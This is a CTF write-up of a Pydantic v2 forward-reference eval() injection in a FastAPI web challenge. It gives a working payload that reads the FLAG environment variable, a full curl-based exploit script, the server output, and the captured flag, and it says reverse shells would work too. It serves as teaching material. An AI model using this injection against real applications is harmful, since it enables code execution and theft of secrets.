Challenge: Restaurant Builder · CTF: GPN CTF 2026 · Category: Web · Difficulty: Medium

Summary

A FastAPI app builds Pydantic models from user-supplied field definitions via create_model. Because each field value is a plain string, Pydantic v2 interprets it as a forward-reference type annotation and eval()s it during schema generation — arbitrary code execution. The flag (passed as the FLAG env var) is exfiltrated by evaluating it into a Literal[...], which surfaces in the model’s JSON schema.

Solution

Step 1: Spot the eval primitive

main.py registers blueprints like this:

1
2
3
4
5
@app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
    description = {k: v for k,v in description.items() if not k.startswith("__")}
    Blueprint = create_model(name, **description)   # value is a str
    blueprints[name] = Blueprint

The body is Dict[str,str], so every field value is a string. When Pydantic v2’s create_model gets a bare string as a field definition, it treats it as a ForwardRef, which is passed through eval() (with full builtins) during schema generation. The __-prefix filter only blocks dunder keys (__base__, …) — it does nothing about __import__ inside the value.

Step 2: Exfiltrate via JSON schema

register_blueprint has no try/except, so a raising eval just returns a detail-less 500. Instead, make the eval succeed and embed the secret into the schema that GET /blueprint/{name} returns:

1
__import__("typing").Literal[__import__("os").environ["FLAG"]]

This yields a field annotated Literal["GPNCTF{...}"], rendered as a "const" in model_json_schema().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
import json, subprocess

BASE = "https://blackened-broccoli-wrapped-in-whipped-bread-bvnq.gpn24.ctf.kitctf.de"
NAME = "pwn3723"
PAYLOAD = '__import__("typing").Literal[__import__("os").environ["FLAG"]]'

def curl(*args):
    # front-end TLS is flaky -> force http1.1 and retry
    return subprocess.run(
        ["curl", "-sS", "--http1.1", "--retry", "10", "--retry-all-errors",
         "--retry-delay", "1", "--max-time", "30", *args],
        capture_output=True, text=True).stdout

# 1) register a blueprint whose "flag" field evals to Literal[os.environ['FLAG']]
body = json.dumps({"flag": PAYLOAD})
print(curl("-X", "POST", f"{BASE}/blueprint/{NAME}",
           "-H", "Content-Type: application/json", "-d", body))

# 2) read it back; the schema's "const" is the flag
schema = json.loads(curl(f"{BASE}/blueprint/{NAME}"))
print(schema["properties"]["flag"]["const"])

Output:

1
{"properties":{"flag":{"const":"GPNCTF{and_oNE_0R_two_rCes_l47Er_ThEy_8UILT_HApPI1Y_EVeR_Af73R}","title":"Flag","type":"string"}},"required":["flag"],"title":"pwn3723","type":"object"}

Note: this is full RCE — os.system/reverse shells work identically; Literal is just the cleanest exfil given the 500-swallowing handler.

Flag

1
GPNCTF{and_oNE_0R_two_rCes_l47Er_ThEy_8UILT_HApPI1Y_EVeR_Af73R}